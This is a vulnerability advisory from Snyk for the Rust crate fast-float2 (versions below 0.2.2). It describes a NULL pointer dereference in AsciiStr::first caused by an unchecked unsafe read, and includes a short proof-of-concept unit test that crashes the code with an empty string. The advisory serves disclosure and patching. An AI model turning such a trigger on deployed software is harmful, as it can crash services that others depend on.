NULL Pointer Dereference Affecting fast-float2 package, versions <0.2.2
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Start learning- Snyk IDSNYK-RUST-FASTFLOAT2-8679846
- published31 Jan 2025
- disclosed29 Jan 2025
- creditydongyeon
Introduced: 29 Jan 2025
New CVE NOT AVAILABLE CWE-476 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade fast-float2 to version 0.2.2 or higher.
Overview
fast-float2 is a fast floating-point number parser.
Affected versions of this package are vulnerable to NULL Pointer Dereference via the AsciiStr::first method within the AsciiStr struct using the unsafe keyword to read from memory without performing bounds checking. An attacker can cause the application to crash or execute arbitrary code by providing an empty string as input.
PoC
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_read_write_u64() {
let bytes = b"01234567";
let string = AsciiStr::new(bytes);
let int = string.read_u64();
assert_eq!(int, 0x3736353433323130);
let int = bytes.read_u64();
assert_eq!(int, 0x3736353433323130);
let mut slc = [0u8; 8];
slc.write_u64(0x3736353433323130);
assert_eq!(&slc, bytes);
}
#[test]
fn test_first() {
let bytes = b"";
let string = AsciiStr::new(bytes);
let _int = string.first();
}
}